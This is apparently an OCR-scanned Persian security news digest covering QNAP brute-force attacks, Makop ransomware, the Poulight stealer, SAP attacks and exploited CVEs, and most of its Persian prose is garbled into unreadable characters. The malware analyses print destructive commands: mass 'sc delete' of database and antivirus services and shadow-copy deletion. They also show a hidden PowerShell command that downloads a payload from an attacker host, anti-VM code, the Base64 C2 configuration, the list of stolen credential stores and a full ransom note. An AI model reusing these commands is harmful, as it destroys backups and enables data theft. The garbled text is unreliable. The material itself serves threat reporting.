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NAS wljug=s 36 ,» Brute-force was (gly>!

Oliagss G glaslge dis) (glp Brute-force wlas (ghol @ caws glacibl Lol b (QNAP Systems, Inc) ogsS
Ll 0315 Hladie Sy ol sl - NAS )laisl 4 - Network-attached storage
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iS50 bws Failed to login o3 L) L')T &low jl plaS o 0w b #9900 di>) (¢lp lazlge (OIS a5 (J)00 )5 Lol
System Logs -+ x

System Event Logs

00000000
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< ControlPanel

General Settings

Storage & Snapshots

Security

Hardware
Power

Notification Center
Network &
File Services
tie Senvies B Firmware Update

Backup / Restore
External Device
System Status
Qulog Center

*; Resource Monitor

License Center

Allow/Deny List

IP Access Protection

Account Access Protection

Centificate & Private Key

Password Policy

Automatically block client IP addresses after too many failed login attempts within the specified time period. You can view blocked IP addresses in QuFirewall

SSH

Telnet

SAMBA

Within:

Within

Within:

Within:

1 minute

1 minute

1 minute

1 minute

Failed login attempts:

Failed login attempts

Failed login attempts:

Failed login attempts:

IP block length

IP block length

IP block length:

IP block length

forever

forever

forever

forever

Cawl aglllao g by (JB 5 S Hd OgaS daelbl 2 g)divo

https://www.gnap.com/en/security-news/2021/take-action-to-protect-your-qnap-devices-from-brute-

force-attacks

1394050 409l Oliuead (pl huoly (soled & QNAP NAS (g5lwpeglio (gl ) (38 dlie agllao (yuizes

https://www.gnap.com/en/how-to/fag/article/what-is-the-best-practice-for-enhancing-nas-security
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S50 0y - AES jLaisl @ - Advanced Encryption Standard @isyo3l jl (513550, jokaieas Makop

b 26 youc joy b (sloolSiws 4 - RDP jLaisl 3 - Remote Desktop Protocol ¢lesgs @b jl plazlge j95 ol 5l Juas]
Gk 51 55 Makop jl loaiges )Ll o5 viz yo .l Makop )il gy picbel 9lidlal wpze b ghal g ol So
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ROWI PRV IRV

S50 Jole piwaw (Registry) €l uase 53 45 alS sloul @ pladl o3 5Vgb () Baile (gl Makop

HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ = {Malware File Path}\{Malware Filename}.
exe

e ) Sai o)l g gilie (plwlivs 4 eladl WNetEnumResourceW g WNetOpenEnumW gilgs @,k j1 )3lab ¢l
Do s0 4i8)S 0y ST £ g logal)d (1L Hghieds Lulyia ju5 GetDriveTypeW ¢ GetLogicalDrives jl ¢uizan .3
Aod50 )8 Vs ) oSiwd 4 Jratie (Hadlas gloakils o (Slyibl gloddigy )> 6ab 0,053 slo (Jld Makop

9 HttpOpenRequestA odnternetConnectA odnternetOpenA gilgs @b 51 ) Sl L b3l )80 L )lslzl
S50 (5318 s IP (iliv 21yl 4 pladl HttpSendRequestA
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Bitclel me_lock_1.1.720 | Thieat Analysis:Ransomware (Azorult]

RE

mitylane

techon | BEMAVIOR: Descopoon | MO Tecsouss | Sysiem Charoes

HAVIOR: NETWORK OVERVIEW

Fackats: § sert, 10 receied

sc delete vmickvpexchange
sc delete vmicguestinterface
sc delete vmicshutdown

sc delete vmicheartbeat

sc delete vmicrdv

sc delete storflt

sc delete vmictimesync

sc delete vmicvss

sc delete MSSQLFDLauncher
sc delete MSSQLSERVER

sc delete SQL SERVERAGENT
sc delete SQLBrowser

sc delete SQLTELEMETRY

sc delete MsDtsServent

sc delete SSISTELEMETRYWo
sc delete SQLWriter

sc delete “MSSQLSVEEAMSQLY o1

12oo g )l | wlelbl (6)9lisd cuyiol A slinlo

@ sandvox Analyzer

wreire | Grgr

0]

| BE59.66. 31, Germany |

S50 1Al 5 sl gy (6I0H 1 4 Coud ) aelyd (gly=l L Makop

sc delete “SQLAgentSVEEAMSQLYo\Y”

sc delete MSSQL
sc delete SQLAgent

sc delete MSSQLServerADHelperioo

sc delete MSSQLServerOLAPService

sc delete MsDtsServerioo

sc delete ReportServer

sc delete “SQLTELEMETRYSHL"
sc delete TMBMServer

sc delete “MSSQLSPROGID”
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sc delete “MSSQL SWOLTERSKLUWER”
sc delete "SQLAgentSPROGID”

sc delete "SQLAgentSWOLTERSKLUWER”
sc delete “MSSQLFDLauncherSOPTIMA”
sc delete “MSS QLSOPTIMA”

sc delete "SQLAgentSOPTIMA”

sc delete "ReportServerSOPTIMA”
sc delete "‘msftesqlSSQLEXPRESS”
sc delete “postgresqgl-xd/¢-1¢”

sc delete WRSVC

sc delete ekrn

sc delete klim1

sc delete "AVPIA/o/0”

sc delete KLIF

sc delete klpd

sc delete klflt

sc delete klbackupdisk

sc delete klbackupflt

sc delete klkbdflt

sc delete kimouflt

sc delete klhk

sc delete "KSDE)/o/0"

sc delete kltap

sc delete TmFilter

sc delete TMLWCSService

sc delete tmusa

sc delete TmPreFilter

sc delete TMSmartRelayService

sc delete TMICRC ScanService

sc delete VSApiNt

sc delete TmMCCSF

sc delete tmlisten

sc delete TmProxy

sc delete ntrtscan

sc delete ofcservice

vssadmin delete shadows /all /quiet

wbadmin delete catalog -quiet
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T mec lock 1.1.7z | Theeat Analysis:Ransomware [Azorult) g Sandbox Analyzer

CranityZore

Dewecton | BEMAVIOR: Descripton | Mae Techniques | System Changes | Fies | NetworkOverview | Newors Desals | Tmeire | Graph | Chronology | oG | Streenshots

Procusses Fiter by Oeder foem 140 13

* Click 6n same node fraes the Graph View
@ some informaton abou i

(] 5 3 13

B Srow repaced es

B Show moved fies

B Show copied fies

B Show wiiten fies.

B Stum deleied Hes

B Srow exfitrated files.

B Show connachons

B Srow deleted registies.

B Show writen regaties

B Show deleted gty vales

Se Bgie |y ) (oawgy oSl gyl 3550 SLET I iy

msftesqgl.exe, sglagent.exe, sglbrowser.exe, sqlservr.exe, sqlwriter.exe, oracle.exe, ocssd.exe, dbsnmp.
exe, synctime.exe, agntsrvc.exe, mydesktopqos.exe, isqglplussvc.exe, xfssvccon.exe, mydesktopservice.
exe, ocautoupds.exe, encsvc.exe, firefoxconfig.exe, thirdconfig.exe, ocomm.exe, mysqld.exe, mysqld-nt.
exe, mysqld-opt.exe, dbengos.exe, sgbcoreservice.exe, excel.exe, infopath.exe, msaccess.exe, mspub.exe,
onenote.exe, outlook.exe, powerpnt.exe, steam.exe, thebat.exe, thebat¢.exe, thunderbird.exe, visio.exe,

winword.exe, wordpad.exe
Canlddwgyy ¢l odlaiwl 3)g0 (sl 16 (6)13550) Kol (as @ol)d IS ¢l pledl jl Bas

139450 (525 04 4i8)S H1)8 ao (glaadigy j| S o )5 s readme-warning.txt oL L (Ransom Note) (552 L ac\bl

T resdme-warring.bet - Notepad - o *

[P [dit Fgrmat Yiew Lelp
Te: Greetings :::

Little FaQ:
1.

0 Whats Happen?
Az Your files have been encrypted and now have the “makop” extension. The file structure was not demaged, we did everything possible so that this could not happen.

.2
@: How to recover files?
Az Tf you wish to decrypt your filas you will need to pay in bitcoins,

.3,

9: What about guarantess?

A Its just a business. we absolutely do not care about you amd your deals, except getting benefits. If we do not do cur work and lisbilities . nobody will cooperate with us, Its met in
our interests.

To check the ability of returning Files, you can send to us any 2 Files with SIMPLE extensions(ipg,xls,doc, ete... nat databases!) and low sizes(max 1 mb), we will decrypt then and send
back to you. That §s our puarantes.

.4,
Q= How to contact with you?
A: ¥ou can write us to cur mailbox: honestandhope@qq.com

.5,
9 How will the decryplion process procesd after payment?
A: after payment we will send te you cur scanner-decoder progras ard detailed instructions for use, With this progras you will be able te decrypt all your encrypted files,

LB

g: TF 1 don’t want to pay bad people like yeu?

&z If you will not cooperate with our service - for us. IUs does not matter. But you will lose your Time and data, cause only we have the private key. In practice - time s much more
valuable than money.

13 IREMARE: 3 !

DOWTT try to change encrypted files by yourself!

If you will try Lo use any Lhird party software for restoring your data or antivirus solulions - please make a backup for all encrypled files!
Ary changes in encrypted files may entail damage of the private key and, as result, the loss all data.

ln1.Calt 80%  Windows (CRLF) AN
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WSe Glall ) o3I b (39w 03 ()55 gl ot 4 Makop

[A Random Characters].[Attacker's email].makop

| s | Makop Samples

Home Share View

* U gy Cut | x I % New item ~ £ Open ~
W/ Copy path <’j ‘D Easy access ™ Edit
Pinto Quick Copy Paste Move Copy Delete Rename New Properties
access El Paste shortcut to~ to~ < folder - @ History
Clipboard Organize New Open
- v 4 > Ransomware Lab > Makop Samples v 5]
~
o Name Date modified
> 3 Quick access
D cp030672.xml[7DF5923E].[honestandhope@qq.com].makop 3/23/2021 9:05 PM
” @ OneDrive [ cp033066.xml[7DF5923E].[honestandhope@qq.com].makop 3/23/2021 9:05 PM
v W This PC 0 cp033803.xml.[7DF5923E].[honestandhope@qq.com].makop 3/23/2021 9:05 PM
> “B 3D Objects 0 cp034022.xml[7DF5923E].[honestandhope@qq.com].makop 3/23/2021 9:05 PM
5 B Deskt O cp034621.xml.[7DF5923E].[honestandhope@qq.com]. makop 3/23/2021 9:05 PM
eskto
i P 0 cp034683.xml.[7DF5923E].[honestandhope@qq.com].makop 3/23/2021 9:05 PM
> D it:

Vi TSRS [ ¢p034731xml[7DF5923E] [honestandhope@qq.comlmakop  3/23/2021 9:05 PM
> ¥ Downloads [ cp035099.xml.[7DF5923E).[honestandhope@qq.com].makop 3/23/2021 9:05 PM
> b Music | cp035812.xml[7DF5923E] [honestandhope@qq.com].makop 3/23/2021 9:05 PM
> [&] Pictures readme-warning.txt 3/23/2021 9:05 PM
> B Videos v <

10 items

bl oS5 eyl diadae ()l8lab @Vas 1555 1) lojlw (lgis0 5 3lge oley b

Ba Select all

-0 Select none
E‘E‘ Invert selection

Select

) Search Makop Samples

Type

MAKOP File
MAKOP File
MAKOP File
MAKOP File
MAKOP File
MAKOP File
MAKOP File
MAKOP File
MAKOP File

Text Document

(Domain) diels wuss (Local) oo (605 Glocus (shy (6hSine g 60id So iz jouc (lojo) 5l o3latiuwl

Administrator/SysAdmin uwyiws glw b sloclus ohg 4 0313 (olil g Jole @imm
O yiand Ehauw (13)5 39320
GShadl gloadsy (59) y o Jlasl Gy 2ohuw ShaSciuw cope

Office (5)lj8lpys dacgomo ©laghais )3 9)Slo bl (gjlwpglio / (gjlulled us

3T (gjlwpglin b )il yiwy )> Domain Controller g MS-SQL ,ua5 uwlme (s magyw 93)S (wyiws BB 1 jumy
GRS @ g5 yiewd (13)S 39320 (000 05)> (13 yuu85) T (Gjwpglie JSlaz L RDP losgy (93,5 Jiedpue

(90 IP

oS o3 (69 » siwiel (gdusol (439) wual I livabl

2 03y 5l Jule slopimaw (glas)l
©L39 bl L jg)dr 9 3iel)a8 (wgp93us I o3l

aSaiis 053 )3 4ol s g LT 6)lg0d I o5laskwl

b blé cuiel GVgama ) (Fileless) bl v slo)liblu b dblio glociuwlus (g5le Jles
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sle Wbl us)w

TXT ol )5 Jbb <G §b jl

kS_uSJ LS):S)lS? L 9 w LSLCDLJ:P“Ql LS-’)b )'l a5 4.‘5_">|.\)7'g ﬂ}é]wgwl.’; .\)SJ.A.C L L;)])él.\.) WP wﬁ)l)‘j)b Yro 9022 uS)w
ol 0345 5L Poulight ¢lgic b jg53s 158100 51 .34 50 wixiie RLO & pgwgeo

Oluogias o3 43 (5)9a2 Crwlyy LSl (§00]) Copdo 350 9 S aSud Gudige CSHb (6) a0 b o calkao ¢yl aoldl )

aal @i8)S )18 (50130 3)90 )31 ¢l sl 9

S se Jlyl 395 Blasl 4 cuwl said Cuwgy ReadMe_txt.Ink.Ink ob b (be S ¢ )5 a5 1) Glaol caagd ¢l Basls)S

Olejar .ol ReadMe_knl.txt 39650 9,9) o b )5 azT - RLO jLaisl « - Right-to-Left Override (g)glé (g5, L
30 )5y 8 IS (g s (g tXE U kiS50 elaiul INK (18 ¢l (sl Notepad ¢lis jl ¢ylaslge

| Securty

Compatibili I Details I Previous Versions
General Shorteut | Options | Fart | Layout | Colors

@ﬂ ReadMe_knl bd

Target type: Application

Target location: v1.0

Start in:

Shortcut key: N.one

Bun: [Non‘nal window

Comment: Type: Text Document

Open File Location ] [ Change Icon... ] [ Advanced... ]
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Jlacl (Hidden) a5 Attribute o @ aelsl )3 &S 35 e 4oby g o3 (Slg>)é PowerShell (yloyd o (ol ¢lysl b

33,5 (50 Ci8lyd L Aolgs

C:\Windows\System32\WindowsPowerShelllvl.@\powershell.exe
-ExecutionPolicy Bypass
-WindowStyle Hidden
-Command

notepad. exe;
(new-object System.Net.WebClient).DownloadFile('http /iwillcreatemedia.com/build

<l 034 (333 Poullight.exe ¢ (Internal Name) (1515 o g 634 JoleolS Net. yiws 53 45 jg530 doby

O S 4 Gl ©)5:0 )3 55550 002 39290 Yl 9392 uS Ll b (5le penilS (gl 5 putty3.exe jl plazlge
iS50 uLQs,w |) 9> L_gl).?l «doly) (o yiun

4 static bool Ch 4 trator ()

t
eaturn Frocess. GetCurrentProcass (), Frocesshiane, ToLowne () == “pll_test”;
}

£ Token: 0x06000043 KID: 67 EVA. Ox0000579C File Offset. Ox0000399C
public static beal CheckVH()
t
try
]
if (AntiVIL CheckAdministrator())
return false.
1
lomg num = (long)Enviromment. ant |

Thread. Sleep (5000 ;
if {({long)Emn
]

nt. TickCount = mum < §00L)

return false.
1

using (ManagensntObjectSearcher aanagenentObjectSearcher = nev NanageasutObjectSearches ("Select * from Wind2 ComputerSystea’})
]
using (1 jectCollection = bjectSearcher. Get (1)
]
foreach (ManngenentBaselbjoct mansp azedbject in manag bjectCallection)
1}

string text = asnsgensntBaseObiect ["Manufscturer™], TeString (). Tolower () :
if {(text == “microzoft corporati
[“Model”). ToSteang (} == “Virtual
("SbieD1l. d117). TeInt320) 'm0 |
)
return trus:

VIETUAL"Y) || text.Contains("vaware”) || managementBazedbject
i, Getlodaleandle (Sxln d11°), Tolnt32 () = 0 || Vindsi.Gethoduleandle
dle (" smxhk. 4117}, ToInt 320} != 0)

&b managementBazeObject [Model”]. TaString (). TollpperInvariant (). Contain:
4 i advet 32, d11°). Tolnt 32 ) 11 Wi
") Telut320) '= 0 ||

Propertyliats propertyData = manag azedbject. Froperties, OffpetProportyliatad (). FirstOrDefaule((Proportyliata p) = p.Nase == “HypervizorPresent”}:
it ((bool?) { (propertyData '= mll} 7 propertyData. Value © null) == true)
]

return falze;
¥

I
b
return false;
¥

Baseb4 @b jl g 03,5 wdly)s |y 395 Lo )50 gilio 5 3iSs0 bW dolip 3940 jyme ol (9393 (uSbaiuw b (g5l aziliz

D90 2 sMS of ol IS (RLESHe | T

<prog.params>YWRtaW4=|MQ==|MA==</prog.params>

<title>UG91bGInaHQ=</title>

<cpdata>MHwwfDEyQ051S2tLSzFATEZVTTIQNTh6VT1hrRUxNeDFSNTF6  NIIBMTJDTnVLaOtLMXhMRm-
INOVATOHpXWGtFTET4AMXKTMX 02WXww</cpdata>
<ulfile>aHROcDovL3JTLXVpZCOTMDczNTISMjAucHAucnUvZXhhbXBsZS5leGU=</ulfile>
<mutex>PL2d4vFEgVbQddddkms0ZhQilOl</mutex>

$lyize b g pb (e b L1 o (pl2d4vfegvbgddddkms0zhgqiiOi) s (Lowercase) S=gS <mutex> jlade (gloduwng

)2 5 (2183 j55 5 31 )3 o9l alnye 53 Jald (] 45 Suayiro ya30) 390 2la) BTEMP% youss 33 s PY 1 A (530

Cawl 63100
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public static bool CheckReplayStart ()
{

bool result;
tTry
i

; string path = string.Format(" {0} {1}, global::Buffer.path *, Exporter.Export ("<mutex>”, "< mutex>”,
: Starter.FileData). ToLower(}) ;

: if (File.Exisztz(path))

1

result = falze;
H
else
: {
File. WritetllText (path, GetRandom. String (null, -137;

result = false;
i
i

catch

!

4 result = falze;
i

return result;

@ADLl (Wep9dd Joamo s (SleMbl g ¢pble U 6yl (slopl bus 4 pladl 5810 s (lwld (Ul ogle

NS0 Sijlag plgic 9 SLS )5 plgic
139050 0y1>3 1 jumo ) H9S3e (cloedly (solad

7LocalAppData?\<-Abyte random characters>\PC-Information.txt

29550 iz @ gy Oldgd (3L AR 03 (LS} 35 )

THATSE A e e g T-eME: T

regiztryKey. GetValue ("ProductName”),

g

IntPtr. 5ize * 8,

*pvnMMA DONTE30EaaTe DA *

Enviromment. UserName,

“wvpHMA EOMIOLHWTe pa. ”

Enviromment. MachineName,

BT e R paTas ™

Information. ighi_pidor (*Win32_VideoController”, “Name”) [0].

soapllpooeccop: *,

Information, ighi_pidor (*Win3Z_Processor”, “Name”) [0],

*pnm¥ Cc TAHOEBENTe HHEHe AHTHMEMUDP Y G H: ¥,

farray[0] == “0%) ? "He T¥.," . ("\n wn' + array[1] +
“\n nhnt)

2

El
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S50 053 15y g ol 53 1) 3T g 03,5 2lhdiwl 1) Jled (slodwgy I (Siuwygd 3815 (T dalsl )s
%LocalAppData%\1z9sq09u\ProcessList.txt

O )lado a5 (5)go )3 39450 035lg3 3 o)Ll (4 @ 3 iy a5 (gainySw ol )> <prog.params> (g, jl pow Hladoe dalsl )>
NS0 (liSiey |y (bWl didy cudids 5> g CPP &iie &L ¢l .3 aolgs 1=l clipper.Start @b«

<clbase>0|0]T2CNuKkKK1xLFoM9P58zWXKELMx1y51z6Y|12CNuKkKK1xLFoM9P58zWXKELMx-
1y51z6Y|0</clbase>

Baset @b jl <clbase> jlade (yuizad g4 50 o] Guaw g 034 0,053 LTEMPY. jume ,> Windows Defender.exe Jolo

3900 b.gbikf}.o) T.mg.,o (O B ) <cpdata> )lado bawgs
23S0 g ol @izl 9 Poulight buwgs ) logwguls IS jgbe

BB a2dio jl ()l ppgas

02 (R o )d g Pl L 63w 0,053 Shuwl Kby
oS (93 Gk jl uSe 0385+

FileZilla aiweduol esleMbl cudyuw

Pidgin auwedlol wledbl b uw
discord\Local Storage wle\bl céyw -

o> (oo )> Telegram (gloesls e yuw

Skype (glwosls e uw

ssfn coge jhsl glohls eéyw
30y )l soasS wlelbl cidyw

(59b (_;Lm d.)ls 9 k‘;\_él.))g LSLQ)C))[S <leMb] 9 Autofill LgL{bo.)L) 99ac LSLQ)}A) ‘L_g);)lf (SLQ)k:)lAAAD ULR LgLCbleMu ALQ)L,SsS

2590 Y0 53 pol> gloams)

Action action = delegate()
1
; CBoard. Start () ;

try
i
if (baze. InvokeRequired)

baze. Invoke (action) ;

elze
i
action ()

3
b
catch
i
b

DesktopImg. Start () ;
IFiles. Start () ;
WehCam. Start ()
FI.5tart(};

Pidgin. Start();

DS, Start () ;

TG. Start () ;

Skype. Start () ;
Steam. Start () ;
BTCGt. Start () ;
BTCByte. Start ()
BTCDASH. Start () ;
BICETH. Start () ;
BTCMON. Start () ;
Thread. Sleep (new Fandom (). Next (1, &) #* 1000} ;
EGChromeC. Start () ;
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10950 (525 32 yaamno )3 (593Lal (lgic b (gladgy )3 034 Cdyuw (gloosls (oled

%LocalAppData%\1z9sq09

£ =i
| L Autofil i
| Browsers =
| BTC-BitCoin =
|, BTC-Bytecoin =
|1 BTC-Dash =
. BTC-Ethereum =
I BTC-Monero =
|, Cards =
|\ Discord =
| FileZilla =
|, Pidgin =
| Skype =
|| Stealer Files =
L. Steam =
.| Telegram =
| Clipboard.txt IS
| PC-Information.txt AT
| ProcessList.txt A
[R ScreenShot.png PNG Bl
=] WebCam,jpg JPEG Bl

2980 Joyl ) L | 52 @ 9 03 (5)l3S)e) 03 iy (R Culed )

http[:]//poullight[.Jru/handle.php
http[:]//gfl.com[]pk/Panel/gate.php

JUoyl (g oS 486 93 10 )90 ¢yl o 53 390 b2l 35 aolsl (CF) (23Loyd jgym (9w j1 §OO aiddy Jlwyl )90 5

LAl (U b g s wdlyys hxxp://ru-uid-507352920.pp.ru/example.exe «Jlwl aislyé (139 jaolcnddgoe )guo >
D950 0D i yauno )

%LocalAppData%\<8 bytes random characters 1>

dgd 50 Wis Wlelbl OT ©ole adgy as b.:b.;l 51 Lol £35S 50 Lg)g'l&og ozilo (69) p 1) Galize Olelbl 515 4oy (Lol &L
b aisls Hys U9A)T 9 w)» J2lho )3 jeim &S > so Jisl ()lddms
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exe 4344 [ CresteFils ‘admin'\AppData'\Local’ Temp\ BOFUPMTWUSFVSNIEDJEE | JNEMX TDFYENEDVGENWYS. EJOU SUCCESS Desired Access
exe 4344 B writeFile \ SUCCESS Offset: 0, Leng
exe 4344 Bl CloseFils SUCCESS
exe 4344 B} CreateFile SUCCESS Desired Access
exe 4344 [k ReadFils ‘admin'\dppData’ SUCCESS Offset: 0. Lem
exe 4344 B ReadFile ‘\admin'\ippDate’ EXD OF FILE Offset: 746, Le
exe 4344 [ CloseFils NEMXTDFYENEDVGENWYS. ETOU SUCCESS
exe 4344 B CreateFile SUCCESS Desired Access
exe 4344 [k SetDispositionInformationFile NOT EMPTY Delete: True
exe 4344 B CloseFile SUCCESS
exe 4344 B CreateFils SUCCESS Desired ccess
exe 4344 B QueryDirectory N SUCCESS Filter: %, 1:
exe 4344 [ QuerrDirsctory SUCCESS 0: .., 1: CDRRI
exe 4344 Bl CreateFile '\CDRRUEEC JEYQCWALEGK. SUTVRWNLDIULFBRT  SUCCESS Desired ccess
exe 4344 [ SetDispositionInformationFile '\ CDRRUEECJBYQCWALEGE. SUTVRWNLDJULFBRT  SUCCESS Delete: True
exe 4344 B CloseFile SUCCESS
exe 4344 B CreateFile SUCCESS Desired Access
exe 4344 [k SetDispositionInformationFile SUCCESS Delete: True
exe 4344 B CloseFile ', JNEMXTDFYENEDVGENYS. XJ0U SUCCESS
exe 4344 [ quersDirsctory NO MORE FILES

CloseFile SUCCESS

SUCCESS Desired Access

GS390 gloaiLis

Hlwao)s

dcb4dfc4c91ebafed6465529fefef26f
083119acb60804c6150d895d133c445a
b874da17a923cf367ebb608b129579¢e1

(G@3Lloy (5loygym

hxxp://gfl.com.pk/Panel/gate.php
hxxp://poullight.ru/handle.php

URL loslis

hxxps://iwillcreatemedia.com/build.exe
hxxp://ru-uid-507352920.pp.ru/example.exe

https://blog.360totalsecurity.com/en/a-txt-file-can-steal-all-your-secrets/
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SAP 3 sasel Fans

o 6 e

olezlee Sao

YO, & 4600
Wl B (NQIO 837

:l-

Ll 0315 jladiae SAP (b 3)Slac b (glovdolp picawl dud 4 glazlge das 4 Guws ONAPSIs Sy
Jlecl ) SAP (slodaoliy (clodisuol U oasd diwlgs ()byisie jl 63,5 dugi |y T SAP Sy b eS)lie L ONAPSIs 45 (4135 5>
o3 )18 (L))l 9 (0 )90 1) LT Gistel (L6305 9 Glanhil «umibg g 03)S

Bl LS"")‘:t‘S% 0 gl (6)9002 Cawlyy (LBl (63,uml) Cayde 35y 9):'\MS S (s digo A8y G)lﬁ.a.m L &S Cdbo ¢yl axlsl )
ol 034 @51l Onapsis Gi)lS

szl a5 Cusle Jw a5 36550 o3laiwl SAP piscawl duws jl Hlizws s )5 SAP gljyitiv 30 oS ol @b

O Vac g 151438)3 )1)3 (wysund 53 55 Coyiil (69) 0 1 by ol (63190 )3 a5 T Logasas el 634 yixiio L3 (ly (siuiel
lodds (Jpawd (lejle leMbl @ (ol (gl ;25,5

swaoby So O i l@JT)| )90 oo a5 63,5 Juo) ;o4 Yo @ gi;'.))'.}).) Iy dlas 1000 «aSyi (2l Vo) Gujlo B YoVo (4395 650 )

Gl o34 SAP

SAP (0lb (slddoly @ JolS Ly @Gapb ol 51 B said oslaimlsgw oggpinawl jl (glacgamo 5l &Mas ol jl Sy )
&9 5> 9 e (513 oS plal (pulns (gloosls Sy plSel alel )3 9 03 Yl (uiel Jgame (gl wadd )8y
29 polyd Sl

dlas diol> GiyiwS O (5L yiaS las ¢l )3 SAP (S 3)Slac b (glodobp i (g)luw Cudle Jud 4 aSepl asgi JlB aiss

3950 yuo Hlazlgs (5l Solway lojle (i)l (sloesls glhzcwl g 591 amlgs Lateral Movement @b ;i

g piocawl 4 0Onapsis (iyliS ;3 SAP ;3 Vb wyiwd L (65 slolws 1o p Brute-force was glysl p ogle

‘ol 024 o)Ll j0 5

CVEIDI0-5326 CVE-Z020-6287 BRUTEFORCING CVE-2016-3976 CVE-2090-6207

CVEZ018.2380 CVE-2016-9553

ULTIMATE GOAL: CONTROL OF MISSAON-CRITICAL DATA AND PROCESS
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Cawl 83,5 duogs SAP byiie 4 1) 1) wloladl el Onapsis

29 (RLj)l e Jleel T (59 2 x> Vol @890y a5 (ST 9 SAP piycawl (glodoly (38,5 )8 dlam 390 Cacyway
29 plasl ()WL Caglgl L 3L 33laid)S )18 oy 5> Coyiial 59y » 45 SAP (gloasly (b))

o633y g Jlacl 3T (59 o (siwiol (glodamVol Cacyuwdy g 034 (b))l SAP yius 5> daly (solad Sunyy 8o jul )5
D9 e

23 (5ol 9 03b (b Yo uoyians b jloapd olylS 3929 b/ cuydb (sloggainySy Bl jI SAP (loaoly 190
9 (b))l Had So bl 5l Sw)y (oy20

Connlizo Crns pohd S35 (sloanl )3 T (gilw pglie g Wlaid)S )8 alam 5)20 )5 SAP (gladely &S (9o )
294 30y yaiune g Jl2d jsby jrolanag5 058l s S yo (ghl g 03 Jlacl (Sl (sl S

l d=llho g el BB p; SG > Onapsis oiylS @ gpie

https://onapsis.com/active-cyberattacks-mission-critical-sap-applications
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Gl (g pdocawl ab jl eslaiwleguw Jlo )5 gy (lazlgo jl (L@g,5 a5 Wlesly jlakie sdsie GBI (il (gladlys (>

A 395 Blasl 4 4is) (gl

ifg.cﬂ.bl)'l (5'0‘\35“?» IR x5 (900> Cawly) (_gliél (_;o)@l) kAJ)J.\A)S),O9)MASML;AUW L,J),w (_g)LiAm L ifu'b)l}iwl)b
Ll 024 Al sty ¢l

Sl i 331438,5 158 iyl (oyo )3 &S (¢ Rl (odlolw jl o3laiwleguw b lo)Sa ¢l v piiio dobauogs (wlwl p
.).J)_SUA o)) L>-’L‘)9 OLo)'Luu S S LSI)'? L@JT)l d,ol.)]).) 9 OJ)SKTAAAAS I) (.7)\1

A ol ol (cloass ol Jlacl 4 G 199 loglojls a5 331635 ST duog losles ¢yl

1ol ) oy )95 e (g il iy Caugd

Gob 51 ) Gatiamas (ool 39L1s ol T 51 o3liialequ g 39450 »3bin o ;| Fortinet FortiOS a5 CVE-2018-13379
A5 ohd iwedlol 4 LS (9 e2lee (gl HTTP 6 (5)tuws (glocuwlgs)s

5> mailbox Gixdw a5 cuwl - XXE Lais! & - XML External Entity Injection ¢ ;I a=o a5 CVE-2019-9670 -
Spiuie 86 T 51 Synacor Zimbra Collaboration Suite
lgiJ 9 (smiwcdlol 4 5L5 (490 B iS50 )38 |) aslge a5 cuwl Pulse Connect Secure ) ;e «5 CVE-2019-11510
SPlazhd o 69y 51y LB it dlolw & o (¢, - URI jLaisl 4 - Uniform Resource Identifier Jw)l b

aig Hom ool g Bpisse 5B of ;I Citrix Gateway g Citrix ADC @Vgamo 45 CVE-2019-19781

S50 polyd aslgs glp ) (Directory Traversal)
VMware One Access. VMware Identity Manager. VMware Vgaseo piscawl Guws j> ¢S CVE-2020-4006
VMware Vrealize Suite Lifecycle Manager ¢ Identity Manager Connector. VMware Cloud Foundation

A0 (pSae @zlge (gl 1) (Command Injection) ¢leyd @255
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Sl 2939 4id)S )8 odlitwlegw )50 plazlge | Gilie (5l0g)S Jawgs 5.5 W j5Sie (sl iyl &5 Cunl )5 @ @Y
23y 03 o)Ll ()T ) o ju> )3 K3 iy a5 3,5 o)Ll Cring ,li8lab Baiils)S Jwgs CVE-2018-13379 (5,510 @ (ylgi 50 Jlio

https://newsroom.shabakeh.net/22138/
Sl uu).u.)] (§9) )2 ORyiuwd dJLQ dilolw (gjlwpglie o )J.\)WA)T awu Lglﬁ.ﬁ)l Olagags wl L ablio ) )Li_a;l) L)J)’L:l‘o‘
129050 4093 )9Sie BVgame lhuol) U 5 (518 dlie agllas (e

https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_
U0013234021.PDF/CSA_SVR_TARGETS_US_ALLIES_U0O013234021.PDF
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au>ol o boglsyjo
\Foo olo ()..\JSI ).)

static void handleCharacters(Context *context,
e = curl_easy_setopt(conn, CURLOPT_FOLLOWLOCATION, const xmlCh *chars

int Llength)
(code != CURLE_OK)

:
{

= A J d i o if (context->addTitle)

»( 1 Eatled:toLset redlract jopricn EEaihn e, context->title.append((char *)chars, length);

Libxml PCDATA callba

n, CURLOPT_WR

t *context = (

return

5990 p392 2wl 93] o aidadcan (JShl comSyinw 49elis9 (SIS0 gSunums «idling)Salo (glocuSyds AFoo (323)9)8 )>
e el 4obaogs g amtol Ll 4y @8l )9 9 Jlpsloslorgl )8l sl 9 Lol 09,5 Wbjge 9 l «(JSsS
Craoly (LI (610) S0 3570 g yianS aSuid swdige Sy (6)Sad L S G)S ol doldl )3 45 353y 395 SVgama jl (5

ol 034 aiB15 )y 3T 4 004D dugd (6)900>

J)SM dg)ﬂ L5‘>\L:“° slo LSI)'? |) 39> Llole b_,uml lemdz\p\boldssw «(MiCI’OSOf’[ Corp) L‘_'Aéhug)igLo uS)uu ‘033)9)5 YF¢
-\.USL}A 00)3 us),w O.,gl alizxo ';')X’yapuo 9 Windows ) I) LS).).\.JWUT YoA Egozo )d )95;\,0 LgLQ)d,ngbol

Cawl 834 |0XLC| (Important) Mlae,o" d)90 AQ 9 (Crlthal) “bjl:u>" Lbe_g)J.Uuu.wT O.,gl )'] d)90 19 Coool EESN)

ob)l;S Remote Code Execution 95 j1 Jol slo (slou=Vuol decgamo Jawgs oadd paays (sl pedpmmol jl o I Gy

loasd

2392 02 Lindl WS LT lugjz 9 0392 (Zero-day) yaomjg) 05 (s piaaml 0 qom ol 53

.l RPC Endpoint Mapper Service > Elevation of Privilege €45 jl a0 45 CVE-2021-27091
ol Windows NTFS > Denial of Service g4 jl ;a0 «5 CVE-2021-28312 -
<l Windows Installer )» Information Disclosure ¢ jl ;a6 «5 CVE-2021-28437
el Azure ms-rest-nodeauth Library > Elevation of Privilege ¢4 jl ;226 a5 CVE-2021-28458
CSawpwS Sy S cwl WIin32k > Elevation of Privilege g¢5 jI a=o o5 CVE-2021-28310 -
ol hd jghieds Ylais! (g piscuwl ¢l il eslaiwleguw Jls )3 (laslge 45 3 03,5 (ia)l;S (Kaspersky Lab)
